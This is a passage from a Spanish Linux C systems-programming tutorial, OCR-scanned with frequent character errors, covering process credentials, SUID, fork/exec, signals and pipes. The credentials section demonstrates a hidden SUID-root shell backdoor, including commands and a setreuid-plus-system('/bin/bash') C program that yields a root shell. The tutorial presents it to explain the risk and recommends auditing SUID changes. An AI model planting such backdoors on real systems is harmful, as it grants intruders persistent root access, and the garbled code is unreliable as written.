cuestion, para dotarle de unos privilegios o de otros. 
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Para la mayoria de programas, con el euides suficiente: si eres 
"efectivamente" el usuario root, tienes privilegios de root durante la 
ejecucion de esa tarea, a pesar de que tu usuario real sea otro. Esto sucede 
mucho en ejecutables que tienen el bit de SUID activado: convierten a quien 
los ejecuta en el usuario propietario de ese ejecutable. Si dicho usuario era 
root, al ejecutarlos te conviertes momentaneamente en root. Esto permite, 
por ejemplo, que un usuario normal pueda cambiar su contraseha, es decir, 
modificar el fichero "/etc/shadow, a pesar de no tener grandes privilegios en 
el sistema. El comando "passwd" hace de puerta de enlace, por asi llamarlo, 
entre la peticion del usuario y la modificacion del fichero protegido: 

txipi@neon:~$ Is -I /etc/shadow 

-rw-r-— 1 root shadow 1380 2002-11-12 20:12 /etc/shadow 
txipi@neon:~$ passwd txipi 
Changing password for txipi 
(current) UNIX password: 

Bad: new and old password are too similar (hummmm...) 
Enter new UNIX password: 
Retype new UNIX password: 

Bad: new password is too simple (arghhh! ! ! !) 

Retype new UNIX password: 
Enter new UNIX password: 

passwd: password updated successfully (ufff!!) 

txipi@neon:~$ which passwd 

/usr/bin/passwd 

txipi@neon:~$ Is -I /usr/bin/passwd 

-rwsr-xr-x 1 root root 25640 2002-10-14 04:05 /usr/bin/passwd 

Como vemos inicialmente, el fichero "/etc/shadow" esta protegido contra 
escritura para todos los usuarios excepto para root, y aun asi (idespues de 
desesperarme un poco!), he podido cambiar mi contraseha, es decir, 
modificarlo. Esto es posible gracias a que el programa "/usr/bin/passwd" que he 
utilizado, tiene a root como propietario, y el bit de SUID activado ("-rwsr-xr- 
x ). 

(LComo gestionar todo esto en nuestros programas en C? Utilizando las 
siguientes funciones: 



uid_t getuid(void); 
uid_t geteuid(void); 



int setuid(uid_t uid); 

int seteuid(uid_t euid); 

int setreuid(uid_t ruid, uid_t euid); 



Con las dos primeras obtenemos tanto el uid como el euid del proceso en 
ejecucion. Esto puede resultar util para hacer comprobaciones previas. El 
programa "nmap", por ejemplo, comprueba si tienes privilegios de root (es 
decir, si euid es 0) antes de intentar realizar ciertas cosas. Las otras tres 
funciones sirven para cambiar nuestro uid, euid o ambos, en funcion de las 
posibilidades, esto es, siempre y cuando el sistema nos lo permita: bien 
porque somos root, bien porque queremos degradar nuestros privilegios. Las 
tres retornan 0 si todo ha ido bien, o -1 si ha habido algun error. Si les 
pasamos -1 como parametro, no haran ningun cambio, por lo tanto: 
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setuid(uid_t uid) equivale a setreuid(uid_t ruid, -1) 
seteuid(uid_t euid) equivale a setreuid(-l, uid_t euid); 



Analicemos ahora un caso curioso: antiguamente, cuando no se utilizaba 
bash como interprete de comandos, algunos intrusos utilizaban una tecnica 
que se conoce vulgarmente con el nombre de "mochila" o "puerta trasera". 
Esta tecnica se basaba en el hecho de que una vez conseguido un acceso 
como root al sistema, se dejaba una puerta trasera para lograr esos 
privilegios el resto de veces que se quisiera, de la siguiente forma: 



neon:~# cd /var/tmp/ 
neon:/var/tmp# cp /bin/sh . 
neon:/var/tmp# chmod +s sh 
neon:/var/tmp# mv sh .23erwjitc3tq3.swp 



Primero conseguian acceso como root (de la forma que fuera), 
seguidamente copiaban en un lugar seguro una copia de un interprete de 
comandos, y habilitaban su bit de SUID. Finalmente lo escondian bajo una 
apariencia de fichero temporal. La proxima vez que ese intruso accediese al 
sistema, a pesar de no ser root y de que root haya parcheado el fallo que dio 
lugar a esa escalada de privilegios (fallo en algun servicio, contrasena 
sencilla, etc.), utilizando esa "mochila" podra volver a tener una shell de 
root: 



txipi@neon:~$ /var/tmp/.23erwjitc3tq3.swp 

sh-2.05b# whoami 

root 

sh-2.05b# 



Actualmente, con bash, esto no pasa. Bash es un poco mas precavida y se 
cuida mucho de las shells con el bit de SUID activado. Por ello, ademas de 
fijarse solo en el euid del usuario que llama a bash, comprueba tambien el uid 
Utilizando las funciones que hemos visto, seremos capaces de engahar 
completamente a bash: 

#include <stdio.h> 
#include <unistd.h> 
#include <sys/types.h> 

int main( int argc, char **argv ) 
{ 

uid t uid, euid; 



uid = getuidO; 
euid = geteuidO; 
setreuid( euid, euid ); 
system( "/bin/bash" ); 



return 0; 

} 
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De esta manera, justo antes de llamar a "/bin/basTinos hemos asegurado 
de que tanto el uidcomo el euid corresponden a root y la "mochila" 
fimcionara: 

neon:/var/tmp# gcc mochila. c -o .23erwjitc3tq3.swp 
neon:/var/tmp# chmod +s .23erwjitc3tq3.swp 
neon:/var/tmp# Is -I .23erwjitc3tq3.swp 

-rwsr-sr-x 1 root root 5003 2002-11-12 20:52 .23erwjitc3tq3.swp 

neon:/var/tmp# exit 

exit 

txipi@neon:~$ /var/tmp/.23erwjitc3tq3.swp 

sh-2.05b# whoami 

root 

sh-2.05b# 

Por este tipo de jueguitos es por los que conviene revisar a diario los 
cambios que ha habido en los SUIDs del sistema ;-) 

1.5.5 Creadon y duplicacion de procesos 

Una situacion muy habitual dentro de un programa es la de crear un 
nuevo proceso que se encargue de una tarea concreta, descargando al 
proceso principal de tareas secundarias que pueden realizarse 
asincronamente o en paralelo. Linux ofrece varias funciones para realizar 
estO: systemQ, fork() y exec(). 

Con system() nuestro programa consigue detener su ejecucion para llamar 
a un comando de la shell ("/bin/sh" tipicamente) y retornar cuando este haya 
acabado. Si la shell no esta disponible, retorna el valor 127, o -1 si se 
produce un error de otro tipo. Si todo ha ido bien, system() devuelve el valor 
de retorno del comando ejecutado. Su prototipo es el siguiente: 

int system(const char *string); 

Donde "string" es la cadena que contiene el comando que queremos 
ejecutar, por ejemplo: 

system("clear"); 

Esta llamada limpiaria de caracteres la terminal, llamando al comando 
"clear". Este tipo de llamadas a system () son muy peligrosas, ya que si no 
indicamos el path completo ("/usr/bin/clear"), alguien que conozca nuestra 
llamada (bien porque analiza el comportamiento del programa, bien por usar 
el comando strings, bien porque es muy muy muy sagaz), podria modificar el 
path para que apunte a su comando clear y no al del sistema (imaginemos que 
el programa en cuestion tiene privilegios de root y ese clear se cambia por 
una copia de /bin/sh: el intruso conseguiria una shell de root). 

La funcion system () bloquea el programa hasta que retorna, y ademas 
tiene problemas de seguridad implicitos, por lo que desaconsejo su uso mas 
alia de programas simples y sin importancia. 
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La segunda manera de crear nuevos procesos es mediante fork(.)Esta 
funcion crea un proceso nuevo o "proceso hijo" que es exactamente igual 
que el "proceso padre". Si fork()se ejecuta con exito devuelve: 

• Al padre: el PID del proceso hijo creado. 

• Al hijo: el valor 0. 

Para entendernos, fork()clona los procesos (bueno, realmente es cloneO 
quien clona los procesos, pero fork() hace algo bastante similar). Es como una 
maquina para replicar personas: en una de las dos cabinas de nuestra 
maquina entra una persona con una pizarra en la mano. Se activa la maquina 
y esa persona es clonada. En la cabina contigua hay una persona identica a 
la primera, con sus mismos recuerdos, misma edad, mismo aspecto, etc. pero 
al salir de la maquina, las dos copias miran sus pizarras y en la de la persona 
original esta el mimero de copia de la persona copiada y en la de la "persona 
copia" hay un cero: 




Figura 1.5.3 Duplicacion de procesos mediante fork(). 

En la anterior figura vemos como nuestro incauto voluntario entra en la 
maquina replicadora con la pizarra en bianco. Cuando la activamos, tras una 
descarga de neutrinos capaz de provocarle anginas a Radiactivoman, 
obtenemos una copia exacta en la otra cabina, solo que en cada una de las 
pizarras la maquina ha impreso valores dife rentes: "123", es decir, el 
identificativo de la copia, en la pizarra del original, y un "0" en la pizarra de 
la copia. No hace falta decir que suele ser bastante traumatico salir de una 
maquina como esta y comprobar que tu pizarra tiene un "0", darte cuenta 
que no eres mas que una vulgar copia en este mundo. Por suerte, los 
procesos no se deprimen y siguen funcionando correctamente. 

Veamos el uso de fork() con un sencillo ejemplo: 

#include <sys/types.h> 
#include <unistd.h> 
#include <stdio.h> 

int main(int argc, char *argv[]) 
{ 

pid_t pid; 



if ( (pid=fork()) = 



= 0) 
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{ /* hijo */ 

printf("Soy el hijo (%d, hijo de %d)\n", getpidO, 
getppidO); 

} 

else 

{ /* padre */ 

printf("Soy el padre (%d, hijo de %d)\n", getpidO, 
getppidO); 

} 

return 0; 

} 

Guardamos en la variable "p id" el resultado de fork(.)Si es 0, resulta que 
estamos en el proceso hijo, por lo que haremos lo que tenqa que hacer el 
hijo. Si es distinto de cero, estamos dentro del proceso padre, por lo tanto 
todo el codiqo que vaya en la parte "else" de esa condicional solo se ejecutara 
en el proceso padre. La salida de la ejecucion de este proqrama es la 
siquiente: 

txipi@neon:~$ gcc fork.c -o fork 

txipi@neon:~$ ./fork 

Soy el padre (569, hijo de 314) 

Soy el hijo (570, hijo de 569) 

txipi@neon:~$ pgrep bash 

314 

La salida de las dos llamadas a printf(), la del padre y la del hijo, son 
asincronas, es decir, podria haber salido primero la del hijo, ya que esta 
corriendo en un proceso separado, que puede ejecutarse antes en un entorno 
multiproqramado. El hijo, 570, afirma ser hijo de 569, y su padre, 569, es a 
su vez hijo de la shell en la que nos encontramos, 314. Si quisieramos que el 
padre esperara a alquno de sus hijos deberemos dotar de sincronismo a este 
proqrama, utilizando las siquientes funciones: 

pid_t wait(int *status) 

pid_t waitpid(pid_t pid, int *status, int options); 

La primera de ellas espera a cualquiera de los hijos y devuelve en la 
variable entera "status" el estado de salida del hijo (si el hijo ha acabado su 
ejecucion sin error, lo normal es que haya devuelto cero). La sequnda 
funcion, waitpidO, espera a un hijo en concreto, el que especifiquemos en 
"pid". Ese PID o identificativo de proceso lo obtendremos al hacer la llamada 
a fork() para ese hijo en concreto, por lo que conviene quardar el valor 
devuelto por fork(). En el siquiente ejemplo combinaremos la llamada a 
waitpidO con la creacion de un arbol de procesos mas complejo, con un padre 
y dos hijos: 



#include <sys/types.h> 
#include <unistd.h> 
#include <stdio.h> 



int main(int argc, char *argv[]) 
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pid t pidl, pid2; 
int statusl, status2; 

if ( (pidl=fork()) == 0 ) 
{ /* hijo */ 

printf("Soy el primer hijo (%d, hijo de %d)\n", 
getpidO, getppidO); 

} 

else 

{ /* padre */ 

if ( (pid2=fork()) == 0 ) 
{ /* segundo hijo */ 

printf("Soy el segundo hijo (%d, hijo de %d)\n", 
getpidO, getppidO); 

} 

else 

{ /* padre */ 

/* Esperamos al primer hijo */ 
waitpid(pidl, &statusl, 0); 

/* Esperamos al segundo hijo */ 
waitpid(pid2, &status2, 0); 

printf("Soy el padre (%d, hijo de %d)\n", 

getpidO, getppidO); 

} 

} 

return 0; 

} 

El resultado de la ejecucion de este programa es este: 

txipi@neon:~$ gcc doshijos.c -o doshijos 

txipi@neon:~$ ./doshijos 

Soy el primer hijo (15503, hijo de 15502) 

Soy el segundo hijo (15504, hijo de 15502) 

Soy el padre (15502, hijo de 15471) 

txipi@neon:~$ pgrep bash 

15471 

Con waitpid(fcseguramos que el padre va a esperar a sus dos hijos antes 
de continuar, por lo que el mensaje de "Soy el padre'.'.siempre saldra el 
ultimo. 

Se pueden crear arboles de procesos mas complejos, veamos un ejemplo 
de un proceso hijo que tiene a su vez otro hijo, es decir, de un proceso 
abuelo, otro padre y otro hijo: 

#include <sys/types.h> 
#include <unistd.h> 
#include <stdio.h> 

int main(int argc, char *argv[]) 
{ 

pid_t pidl, pid2; 
int statusl, status2; 
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if ( (pidl=fork()) == 0 ) 
{ /* hijo (la generacion) = padre */ 
if ( (pid2=fork()) == 0 ) 
{ /* hijo (2a generacion) = nieto */ 

printf("Soy el nieto (%d, hijo de %d)\n", 
getpidO, getppidO); 

} 

else 

{ /* padre (2a generacion) = padre */ 
wait(&status2); 

printf("Soy el padre (%d, hijo de %d)\n", 
getpidO, getppidO); 

} 

} 

else 

{ /* padre (la generacion) = abuelo */ 
wait(&statusl); 

printf("Soy el abuelo (%d, hijo de %d)\n", getpidO, 
getppidO); 

} 

return 0; 

} 

Y el resultado de su ejecucion seria: 

txipi@neon:~$ gcc hijopadrenieto.c -o hijopadrenieto 

txipi@neon:~$ ./hijopadrenieto 

Soy el nieto (15565, hijo de 15564) 

Soy el padre (15564, hijo de 15563) 

Soy el abuelo (15563, hijo de 15471) 

txipi@neon:~$ pgrep bash 

15471 

Tal y como hemos dispuesto las llamadas a waitQparadojicamente el 
abuelo esperara a que se muera su hijo (es decir, el padre), para terminar, y 
el padre a que se muera su hijo (es decir, el nieto), por lo que la salida de 
este proqrama siempre tendra el orden: nieto, padre, abuelo. Se pueden 
hacer arboles de procesos mucho mas complejos, pero una vez visto como 
hacer multiples hijos y como hacer multiples qeneraciones, el resto es 
bastante trivial. 

Otra manera de crear nuevos procesos, bueno, mas bien de modificar los 
existentes, es mediante el uso de las funciones exec() Con estas funciones lo 
que consequimos es reemplazar la imaqen del proceso actual por la de un 
comando o proqrama que invoquemos, de manera similar a como lo 
haciamos al llamar a system() En funcion de como queramos realizar esa 
llamada, eleqiremos una de las siquientes funciones: 

int execl( const char *path, const char *arg, ...); 
int execlp( const char *file, const char *arg, ...); 
int execle( const char * path, const char *arg , 
char * const envp[]); 

int execv( const char * path, char *const argv[]); 

int execvp( const char *file, char *const argv[]); 

int execve (const char *filename, char *const argv [], 

char *const envp[]); 
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El primer argumento es el fichero ejecutable que queremos llamar. Las 
fimciones que contienen puntos suspensivos en su declaracion indican que 
los parametros del ejecutable se incluiran ahi, en argumentos separados. Las 
funciones terminadas en "e" ( execle(y execveO) reciben un ultimo argumento 
que es un puntero a las variables de entorno. Un ejemplo sencillo nos sacara 
de dudas: 

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 

int main(int argc, char *argv[]) 
{ 

char*args[] = { 7bin/ls", NULL }; 
execv("/bin/ls", args); 

printf("Se ha producido un error al ejecutar execv.\n"); 
return 0; 

} 

La funcion elegida, execv() recibe dos argumentos, el path al fichero 
ejecutable ("/bin/1'3 y un array con los parametros que queremos pasar. Este 
array tiene la misma estructura que argv[], es decir, su primer elemento es el 
propio programa que queremos llamar, luego se va rellenando con los 
argumentos para el programa y por ultimo se finaliza con un puntero nulo 
(null). El printf() final no deberia salir nunca, ya que para ese entonces execvQ 
se habra encargado de reemplazar la imagen del proceso actual con la de la 
llamada a "/bin/Is". La salida de este programa es la siguiente: 

txipi@neon:~$ gcc execv.c -o execv 
txipi@neon:~$./execv 

doshijos execv fil2 files. c hijopadrenieto.c 
doshijos.c execv.c fil2.c hijopadrenieto 



1.5.6 Comunicacion entre procesos 

En un sistema multiprogramado, con un monton de procesos funcionando 
al mismo tiempo, es necesario establecer mecanismos de comunicacion entre 
los procesos para que puedan colaborar entre ellos. Existen varios enfoques 
a la hora de implementar esta comunicacion. 

Podemos considerar a las sehales como la forma mas primitiva de 
comunicacion entre procesos. El sistema utiliza sehales para informar a un 
determinado proceso sobre alguna condicion, realizar esperas entre 
procesos, etc. Sin embargo la sehal en si no es portadora de datos, a fin de 
cuentas es una "seha" que se hacen de un proceso a otro, que permite a un 
proceso enterarse de una determinada condicion, pero sin poder 
transmitirse cantidades grandes de informacion entre ambos procesos. Un 
gesto con la mano puede servirte para detenerte mientras vas andando por 
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un pasillo, pero dificilmente te transmitira toda la informacion contenida en 
"El Quijote" (al menos con las tecnicas que yo conozco). Por lo tanto, ademas 
de las senales, es preciso disponer de mecanismos que permitan 
intercambiar datos entre los procesos. 

El enfoque mas obvio de todos es utilizar ficheros del sistema para poder 
escribir y leer de ellos, pero esto es lento, poco eficiente e insequro, aunque 
muy sencillo de hacer. El siquiente paso podria ser utilizar una tuberia o un 
FIFO para intercomunicar los procesos a traves de el. El rendimiento es 
superior respecto al enfoque anterior, pero solo se utilizan en casos sencillos. 
Imaqinemos lo costoso que seria implementar un mecanismo de semaforos 
de esta manera. 



Como evolucion de todo lo anterior lleqo el sistema IPC (Inter Process 
Communication) de System V, con sus tres tipos de comunicacion diferentes: 
semaforos, colas de mensajes y seqmentos de memoria compartida. 
Actualmente el estandar de IPC System V ha sido reemplazado por otro 
estandar, el IPC POSIX. Ambos implementan caracteristicas avanzadas de los 
sistemas de comunicacion entre procesos de manera bastante eficiente, por 
lo que convendria pensar en su empleo a la hora de realizar una aplicacion 
multiproceso bien disenada. 

1.5.6.1 Senales 

Cuando implementamos un proqrama, linea a linea vamos definiendo el 
curso de ejecucion del mismo, con condicionales, bucles, etc. Sin embarqo 
hay ocasiones en las que nos interesaria contemplar sucesos asincronos, es 
decir, que pueden suceder en cualquier momento, no cuando nosotros los 
comprobemos. La manera mas sencilla de contemplar esto es mediante el 
uso de senales. La perdida de la conexion con el terminal, una interrupcion 
de teclado o una condicion de error como la de un proceso intentando 
acceder a una direccion inexistente de memoria podrian desencadenar que 
un proceso recibiese una sehal. Una vez recibida, es tarea del proceso 
atrapar o capturarla y tratarla. Si una sehal no se captura, el proceso muere. 

En funcion del sistema en el que nos encontremos, bien el nucleo del 
Sistema Operative bien los procesos normales pueden eleqir entre un 
conjunto de senales predefinidas, siempre que tenqan los privileqios 
necesarios. Es decir, no todos los procesos se pueden comunicar con 
procesos privileqiados mediante senales. Esto provocaria que un usuario sin 
privileqios en el sistema seria capaz de matar un proceso importante 
mandando una sehal s igki lu por ejemplo. Para mostrar las senales que nos 
proporciona nuestro nucleo y su identificativo numerico asociado, usaremos 
el siquiente comando: 



txipi@neon:~$ kill -I 

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 



5) SIGTRAP 
9) SIGKILL 
13) SIGPIPE 
18) SIGCONT 
22) SIGTTOU 



6) SIGABRT 
10) SIGUSR1 
14) SIGALRM 
19) SIGSTOP 
23) SIGURG 



7) SIGBUS 
11) SIGSEGV 
15) SIGTERM 
20) SIGTSTP 
24) SIGXCPU 



8) SIGFPE 

12) SIGUSR2 
17) SIGCHLD 
21) SIGTTIN 
25) SIGXFSZ 
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26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 
30) SIGPWR 31) SIGSYS 32) SIGRTMIN 33) SIGRTMIN + 1 
34) SIGRTMIN+2 35) SIGRTMIN+3 36) SIGRTMIN+4 37) SIGRTMIN+5 
38) SIGRTMIN+6 39) SIGRTMIN + 7 40) SIGRTMIN+8 41) SIGRTMIN+9 
42) SIGRTMIN+10 43) SIGRTMIN + 11 44) SIGRTMIN + 12 45) SIGRTMIN+13 
46) SIGRTMIN+14 47) SIGRTMIN + 15 48) SIGRTMAX-15 49) SIGRTMAX-14 
50) SIGRTMAX-13 51) SIGRTMAX-12 52) SIGRTMAX-11 53) SIGRTMAX-10 
54) SIGRTMAX-9 55) SIGRTMAX-8 56) SIGRTMAX-7 57) SIGRTMAX-6 
58) SIGRTMAX-5 59) SIGRTMAX-4 60) SIGRTMAX-3 61) SIGRTMAX-2 
62) SIGRTMAX-1 63) SIGRTMAX 

La mayoria de los identificativos numericos son los mismos en diferentes 
arquitecturas y sistemas UNIX, pero pueden cambiar, por lo que conviene 
utilizar el nombre de la senal siempre que sea posible. Linux implementa las 
senales usando informacion almacenada en la task strucdel proceso. El 
numero de senales soportadas esta limitado normalmente al tamano de 
palabra del procesador. Anteriormente, solo los procesadores con un tamano 
de palabra de 64 bits podian manejar hasta 64 senales, pero en la version 
actual del kernel (2.4.19) disponemos de 64 senales incluso en arquitecturas 
de 32bits. 

Todas las senales pueden ser iqnoradas o bloqueadas, a excepcion de 
SIGSTOP y s igki lu que son imposibles de iqnorar. En funcion del tratamiento 
que especifiquemos para cada senal realizaremos la tarea predeterminada, 
una propia definida por el proqramador, o la iqnoraremos (siempre que sea 
posible). Es decir, nuestro proceso modifica el tratamiento por defecto de la 
senal realizando llamadas al sistema que alteran la sigaction de la senal 
apropiada. Pronto veremos como utilizar esas llamadas al sistema en C. 

Una limitacion importante de las senales es que no tienen prioridades 
relativas, es decir, si dos senales lleqan al mismo tiempo a un proceso puede 
que sean tratadas en cualquier orden, no podemos asequrar la prioridad de 
una en concreto. Otra limitacion es la imposibilidad de tratar multiples 
senales iquales: si nos lleqan 14 senales sigcointt a la vez, por ejemplo, el 
proceso funcionara como si hubiera recibido solo una. 

Cuando queremos que un proceso espere a que le lleque una senal, 
usaremos la funcion pause () Esta funcion provoca que el proceso (o thread) 
en cuestion "duerma" hasta que le lleque una senal. Para capturar esa senal, 
el proceso debera haber establecido un tratamiento de la misma con la 
funcion s igna I ( )Aqui tenemos los prototipos de ambas funciones: 

int pause(void); 

typedef void (*sighandler_t)(int); 

sighandler_t signal(int signum, sighandler_t handler); 

La funcion pause () no parece tener demasiada complicacion: no recibe 
ninqun parametro y retorna -1 cuando la llamada a la funcion que captura la 
serial ha terminado. La funcion signalUiene un poco mas de miqa: recibe dos 
parametros, el numero de senal que queremos capturar (los numeros en el 
sistema en concreto en el que nos encontremos los podemos obtener 
ejecutando "kill -I", como ya hemos visto), y un puntero a una funcion que se 
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encargara de tratar la senal especificada. Esto puede parecer confuso, asi 
que aclaremos esto con un ejemplo: 

#include <signal.h> 
#include <unistd.h> 

void trapper(int); 

int main(int argc, char *argv[]) 
{ 

int i; 

for(i = l;i<=64;i + + ) 

signal(i, trapper); 

printf("ldentificativo de proceso: %d\n", getpidO ); 
pause(); 

printf("Continuando...\n"); 



return 0; 



} 



void trapper(int sig) 
{ 

signal(sig, trapper); 
printf("Recibida la sehal: %d\n", sig); 

} 

La explicacion de este pequeno programa es bastante simple. 
Inicialmente declaramos una funcion que va a recibir un entero como 
parametro y se encargara de capturar una senal ( trapper(). Seguidamente 
capturamos todas las senales de 1 a 64 haciendo 64 llamadas a signal {) 
pasando como primer parametro el numero de la senal (i) y como segundo 
parametro la funcion que se hara cargo de dicha senal (trapper). 
Seguidamente el programa indica su PID llamando a getpidO y espera a que le 
llegue una senal con la funcion pause(). El programa esperara 
indefinidamente la llegada de esa senal, y cuando le enviemos una (por 
ejemplo, pulsando Control+C), la funcion encargada de gestionarla ( 
trapper() ) sera invocada. Lo primero que hace trapper() es volver a enlazar la 
senal en cuestion a la funcion encargada de gestionarla, es decir, ella misma, 
y luego saca por la salida estandar la senal recibida. Al terminal la ejecucion 
de trapperO, se vuelve al punto donde estabamos ( pause() ) y se continua: 

txipi@neon:~$ gcc trapper.c -o trapper 

txipi@neon:~$ ./trapper 

Identificativo de proceso: 15702 

Recibida la senal: 2 

Continuando... 

txipi@neon:~$ 

Como podemos observar capturar una senal es bastante sencillo. 
Intentemos ahora ser nosotros los emisores de senales a otros procesos. Si 
queremos enviar una senal desde la linea de comandos, utilizaremos el 
comando "kill". La funcion de C que hace la misma labor se llama, 
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originalmente, ki 1 1.( Esta funcion puede enviar cualquier senal a cualquier 
proceso, siempre y cuando tengamos los permisos adecuados (las 
credenciales de cada proceso, explicadas anteriormente, entran ahora en 
juego (uici euid, etc.) ). Su prototipo es el siguiente: 

int kill(pid_t pid, int sig); 

No tiene mucha complicacion, recibe dos parametros, el PID del proceso 
que recibira la senal, y la senal. El tipo pid t es un tipo heredado de UNIX, 
que en Linux en concreto corresponde con un entero. El siguiente codigo de 
ejemplo realiza la misma funcion que el comando "kill": 

#include <sys/types.h> 
#include <signal.h> 
#include <unistd.h> 

int main(int argc, char *argv[]) 
{ 

pid_t pid; 
int sig; 

if(argc==3) 
{ 

pid = (pid_t)atoi(argv[l]); 
sig=atoi(argv[2]); 

kill(pid, sig); 
} else { 

printf("%s: %s pid signal\n", argv[0], argv[0]); 
return -1; 

} 

return 0; 

} 

Para probarlo, he programado un pequeno shell script que capturara las 
sehales sighup, sigint, sigquit, sigfpe, sigalarm y SIGTERM: 

#!/bin/sh 

echo "Capturando signals..." 
trap "echo SIGHUP recibida" 1 
trap "echo SIGINT recibida " 2 
trap "echo SIGQUIT recibida " 3 
trap "echo SIGFPE recibida " 8 
trap "echo SIGALARM recibida " 14 
trap "echo SIGTERM recibida " 15 

while true 
do 

done 

Simplemente saca un mensaje por pantalla cuando reciba la serial en 
concreto y permanece en un bucle infinito sin hacer nada. Vamos a enviarle 
unas cuantas sehales desde nuestro programa anterior: 
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txipi@neon:- 
txipi@neon:- 
[1] 15736 
txipi@neon:- 



-$ gcc killer. c -o killer 
-$./trap.sh & 

-$ Capturando signals... 



txipi@neon:~$./killer 
./killer: ./killer pid signal 
txipi@neon:~$./killer 15736 8 
txipi@neon:~$ SIGFPE recibida 



txipi@neon:- 
txipi@neon:- 

txipi@neon:- 
txipi@neon:- 
[1]+ Killed 



-$./killer 15736 15 
-$ SIGTERM recibida 

-$ ./killer 15736 9 
-$ pgrep trap.sh 
./trap.sh 



Primeramente llamamos al shell script "trap.sfi para que se ejecute en 
segundo piano (mediante "&"). Antes de pasar a segundo piano, se nos 
informa que el proceso tiene el PID 15736. Al ejecutar el programa "killer" 
vemos que recibe dos parametros: el PID y el numero de senal. Probamos a 
mandar unas cuantas senales que tiene capturadas y se comporta como es 
esperado, mostrando la senal recibida por pantalla. Cuando le enviamos la 
senal 9 (SIGKILL, incapturable), el proceso de "trap.sh" muere. 



SIG KILL 




trapper 



n :apturar 



Capturando 



I apturan jo 



Figura 1.5.4 Procesos recibiendo senales, rutinas de captura y proceso 
de senales. 



En la figura anterior observamos el comportamiento de diferentes 
procesos en funcion de las senales que reciben y sus rutinas de 
tratamiento de senales: el primero de ellos no esta preparado para 
capturar la senal que le llega, por lo que terminara su ejecucion al no 
saber como tratar la senal. El segundo tiene una rutina asociada que 
captura senales, trapper, por lo que es capaz de capturar la senal 
sigjjsri y gestionarla adecuadamente. El tercer proceso tambien 
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dispone de la rutina capturadora de senales y de la funcion asociada, 
pero le llega una senal incapturable, siG_KiLLpor lo que no es capaz 
tampoco de gestionarla y termina su ejecucion. 

Existe una manera de utilizar kill (d.e forma masiva: si en lugar de un PID 
le pasamos como parametro "pid" un cero, matara a todos los procesos que 
esten en el mismo grupo de procesos que el actual. Si por el contrario 
pasamos en el parametro "pid", intentara matar a todos los procesos 
menos al proceso "init" y a si mismo. Por supuesto, esto deberia usarse en 
casos muy senalados, nunca mejor dicho O:-)- 

Una utilizacion bastante potente de las senales es el uso de sigalarm para 
crear temporizadores en nuestros programas. Con la funcion alarm() lo que 
conseguimos es que nuestro proceso se envie a si mismo una senal sigalarm 
en el mimero de segundos que especifiquemos. El prototipo de alarm() es el 
siguiente: 

unsigned int alarm(unsigned int seconds); 

En su unico parametro indicamos el mimero de segundos que queremos 
esperar desde la llamada a alarm() para recibir la senal sigalarm. 




Figura 1.5.5 La llamada a la funcion alarm() generara una senal 
SIG_ALARM hacia el mismo proceso que la invoca. 

El valor devuelto es el mimero de segundos que quedaban en la anterior 
alarma antes de fijar esta nueva alarma. Esto es importante: solo 
disponemos de un temporizador para usar con alarm(), por lo que si llamamos 
seguidamente otra vez a alarm(), la alarma inicial sera sobrescrita por la 
nueva. Veamos un ejemplo de su utilizacion: 

#include <signal.h> 
#include <unistd.h> 

void trapper(int); 

int main(int argc, char *argv[]) 
{ 

int i; 

signal(14, trapper); 



printf("ldentificativo de proceso: %d\n", getpidO ); 
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alarm(5); 

pause(); 

alarm(3); 

pause(); 

for(;;) 

{ 

alarm(l); 
pause(); 

} 

return 0; 

} 

void trapper(int sig) 
{ 

signal(sig, trapper); 
printf("RIIIIIIIIING!\n"); 

} 

Este programa es bastante similar al que hemos disenado antes para 
capturar senales, solo que ahora en lugar de capturarlas todas, capturara 
unicamente la 14, sigalarm . Cuando reciba una senal sigalarm, sacara 
"RiiiiiiiiiNG" por pantalla. El cuerpo del programa indica que se fijara una 
alarma de 5 segundos y luego se esperara hasta recibir una senal, luego la 
alarma se fijara a los 3 segundos y se volvera a esperar, y finalmente se 
entrara en un bucle en el que se fije una alarma de 1 segundo todo el rato. El 
resultado es que se mostrara un mensaje "riiiiiiiiing" a los 5 segundos, luego a 
los 3 segundos y despues cada segundo: 

txipi@neon:~$ gcc alarma. c -o alarma 
txipi@neon:~$ ./alarma 
Identificativo de proceso: 15801 



Rlllll 


IIIING! 


Rlllll 


IIIING! 


Rlllll 


IIIING! 


Rlllll 


IIIING! 


Rlllll 


IIIING! 


Rlllll 


IIIING! 


Rlllll 


IIIING! 



Para terminar esta seccion, veremos como es relativamente sencillo que 
procesos creados mediante fork() sean capaces de comunicarse utilizando 
senales. En este ejemplo, el hijo envia varias senales sigusri a su padre y al 
final termina por matarlo, enviandole la senal sigkill (hay muchos hijos que 
son asi de agradecidos): 

#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <signal.h> 

void trapper(int sig) 
{ 

signal(sig, trapper); 
printf("SIGUSRl\n"); 

} 
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int main(int argc, char *argv[]) 
{ 

pid t padre, hijo; 

padre = getpidO; 

signal( SIGUSR1, trapper ); 

if ( (hijo=fork()) == 0 ) 
{ /* hijo */ 

sleep(l); 

kill(padre, SIGUSR1); 
sleep(l); 

kilKpadre, SIGUSR1); 
sleep(l); 

kill( padre, SIGUSR1); 
sleep(l); 

kilKpadre, SIGKILL); 
exit(O); 

} 

else 

{ /* padre */ 
for (;;); 

} 

return 0; 

} 

Con la funcion sleepQel hijo espera un determinado numero de segundos 
antes de continuar. El uso de esta funcion puede intervenir con el uso de 
alarmO asi que habra que utilizarlas con cuidado. La salida de este parricidio 
es la siguiente: 

txipi@neon:~$ gcc signalfork.c -o signalfork 

txipi@neon:~$./signalfork 

SIGUSR1 

SIGUSR1 

SIGUSR1 

Killed 



1.5.6.2 Tubenas 

Las tuberias o "pipes" simplemente conectan la salida estandar de un 
proceso con la entrada estandar de otro. Normalmente las tuberias son de 
un solo sentido, imaginemos lo desagradable que seria que estuvieramos 
utilizando un lavabo y que las tuberias fueran bidireccionales, lo que 
emanaran los desagiies seria bastante repugnante. Por esta razon, las 
tuberias suelen ser "half-duplex", es decir, de un unico sentido, y se 
requieren dos tuberias "half-duplex" para hacer una comunicacion en los dos 
sentidos, es decir "full-duplex" . Las tuberias son, por tanto, flujos 
unidireccionales de bytes que conectan la salida estandar de un proceso con 
la entrada estandar de otro proceso. 
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Cuando dos procesos estan enlazados mediante una tuberia, ninguno de 
ellos es consciente de esta redirection, y actua como lo haria normalmente. 
